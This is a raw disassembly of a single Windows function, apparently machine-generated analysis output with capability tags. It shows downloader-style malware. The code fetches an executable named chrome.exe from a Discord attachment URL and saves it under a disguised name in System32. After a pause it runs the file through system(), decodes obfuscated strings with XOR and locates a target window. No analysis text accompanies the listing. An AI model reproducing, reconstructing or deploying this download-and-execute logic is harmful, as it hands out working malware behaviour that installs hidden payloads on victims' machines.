Function at 0x1400039a0
Capabilities:
Download url
Encode data using xor
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xf0], rax
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:WindowsSystem32dxd32s.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_926255566924447794_952693608832708628_chrome.exe
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rbp], rbx
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], send
mov byte [rbp], bl
lea r8d, [rbx + 1]
lea rdx, str.star
lea rcx, [rbp]
call fcn.140001bf0
nop
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], send
mov byte [rbp - 0x40], bl
lea r8d, [rbx + 1]
lea rdx, [0x14000652c]
lea rcx, [rbp - 0x40]
call fcn.140001bf0
nop
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], send
mov byte [rbp + 0xa0], bl
lea r8d, [rbx + 1]
lea rdx, [0x140006530]
lea rcx, [rbp + 0xa0]
call fcn.140001bf0
nop
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], send
mov byte [rbp + 0x80], bl
lea r8d, [rbx + 1]
lea rdx, [0x140006534]
lea rcx, [rbp + 0x80]
call fcn.140001bf0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp + 0x10]
sub rax, r14
mov r15, qword [rbp - 0x30]
cmp rax, r15
jb 0x1400045c7
lea r12, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r12, qword [rbp]
lea r13, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r13, qword [rbp - 0x40]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea rsi, [r14 + r15]
mov ebx, send
lea rdi, [rsp + 0x40]
lea eax, [rbx + 7]
lea rdx, [rbx - 0x10]
cmp rsi, rbx
jbe 0x140003b8c
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003b2c
mov rbx, rcx
jmp 0x140003b33
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140003b76
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400045cd
mov rcx, rax
call fcn.1400046e0
test rax, rax
je 0x140003b6f
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003b87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140003b85
call fcn.1400046e0
mov rdi, rax
jmp 0x140003b87
xor edi, edi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
mov r8, r14
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 + rdi]
mov r8, r15
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.140002e60
xor ebx, ebx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], send
mov byte [rax], bl
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
lea rcx, [rbp - 0x80]
call fcn.140002e60
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], send
mov byte [rax], bl
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
mov r8, r15
lea rcx, [rsp + 0x60]
call fcn.140002e60
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], send
mov byte [rax], bl
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140003cdd
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003cd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003cd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140003d2e
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140003d7e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], send
mov byte [rsp + 0x40], 0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], send
mov byte [rbp + 0x60], 0
mov r8d, socket
lea rdx, [0x140006538]
lea rcx, [rbp + 0x60]
call fcn.140001bf0
nop
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], send
mov byte [rbp + 0x40], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp + 0x40]
call fcn.140001bf0
nop
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], send
mov byte [rbp + 0x20], 0
mov r8d, 6
lea rdx, str.dxd32s
lea rcx, [rbp + 0x20]
call fcn.140001bf0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp + 0xe0]
sub rax, r14
cmp rax, 1
jb 0x1400045d3
lea r15, [rbp + 0xd0]
mov r12, qword [rbp + 0xd0]
mov r13, qword [rbp + 0xe8]
cmp r13, 0x10
cmovae r15, r12
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
lea rsi, [r14 + 1]
mov ebx, send
lea rdi, [rsp + 0x60]
cmp rsi, rbx
jbe 0x140003ef0
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003e83
mov rbx, rcx
jmp 0x140003e90
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140003eda
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400045c1
mov rcx, rax
call fcn.1400046e0
test rax, rax
je 0x140003ed3
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003eeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140003ee9
call fcn.1400046e0
mov rdi, rax
jmp 0x140003eeb
xor edi, edi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0x20
mov byte [rdi + rsi], 0
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.140002e60
xor ebx, ebx
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], send
mov byte [rax], bl
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.140002e60
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], send
mov byte [rax], bl
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140002e60
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], send
mov byte [rax], bl
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14000401e
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004019
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004019
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14000406c
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004067
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004067
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400040bc
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], 0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400065b0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x6a6a7260
mov dword [rsp + 0x54], 0x17323534
mov word [rsp + 0x58], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 6]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x18
jb 0x140004120
mov byte [rsp + 0x59], 0
lea rcx, [rsp + 0x40]
call fcn.1400045e0
call fcn.1400024f0
mov rcx, qword [0x140009118]
test rcx, rcx
jne 0x14000421a
nop dword [rax]
nop dword [rax + rax]
mov dword [rsp + 0x30], 0x7d7a6840
mov dword [rsp + 0x34], 0x68786264
mov dword [rsp + 0x38], 0x1002f2e
mov rax, rbx
nop dword [rax + rax]
lea ecx, [rax + 6]
xor byte [rsp + rax + 0x30], cl
inc rax
cmp rax, 0xa
jb 0x140004180
mov byte [rsp + 0x3b], 0
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140009118], rax
movdqa xmm0, xmmword [0x1400065a0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x69386579
mov dword [rsp + 0x54], 0x787f7468
mov dword [rsp + 0x58], 0xf0e6c6d
mov dword [rsp + 0x5c], 0x100290c
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 6]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x1e
jb 0x1400041e0
mov byte [rsp + 0x5f], 0
lea rcx, [rsp + 0x40]
call fcn.1400045e0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140009118]
test rcx, rcx
je 0x140004160
lea rdx, [0x140009110]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea rdx, [rbp + 0xc0]
mov rcx, qword [0x140009118]
call qword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x140004263
mov eax, dword [rbp + 0xc8]
sub eax, dword [rbp + 0xc0]
mov dword [0x140009114], eax
mov eax, dword [rbp + 0xcc]
sub eax, dword [rbp + 0xc4]
mov dword [0x140009120], eax
call fcn.140002290
mov qword [0x140009128], rax
cmp rax, 0xffffffffffffffff
jne 0x1400042b7
mov dword [rsp + 0x30], 0x5a5d4656
mov word [rsp + 0x34], 0x4f
mov byte [rsp + 0x36], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 6]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 5
jb 0x140004290
mov byte [rsp + 0x36], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x140009128]
mov edx, dword [0x140009110]
mov rcx, rax
call fcn.140002420
mov rdx, rax
mov qword [0x140009130], rax
movdqa xmm0, xmmword [str.Vugjox]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x6a6b7264
mov dword [rsp + 0x54], 0x6d393b20
mov dword [rsp + 0x58], 0x1001530
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 6]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x1a
jb 0x140004300
mov byte [rsp + 0x5b], 0
lea rcx, [rsp + 0x40]
call fcn.1400045e0
mov ecx, send
call fcn.1400019e0
mov dword [rsp + 0x30], 0x7d7a6840
mov dword [rsp + 0x34], 0x68786264
mov dword [rsp + 0x38], 0x1002f2e
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 6]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x140004350
mov byte [rsp + 0x3b], 0
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdx, rax
lea rcx, [0x140002ef0]
call fcn.1400019b0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400043c6
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400043c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400043c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], send
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140004415
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000440f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000440f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140004454
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000444e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000444e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140004493
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000448d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000448d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
nop
cmp r13, 0x10
jb 0x1400044cf
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400044c6
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400044c6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.14000471c
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140004514
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000450e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000450e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140004559
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004553
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004553
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000471c
nop
mov r8, qword [rbp - 0x28]
cmp r8, 0x10
jb 0x140004574
inc r8
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x40]
call fcn.140001d50
nop
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x14000458f
lea r8, [rax + 1]
mov rdx, qword [rbp]
lea rcx, [rbp]
call fcn.140001d50
xor eax, eax
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.1400046c0
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002e20
nop
call fcn.140002e40
int3
call fcn.140002e20
nop
call fcn.140002e40
int3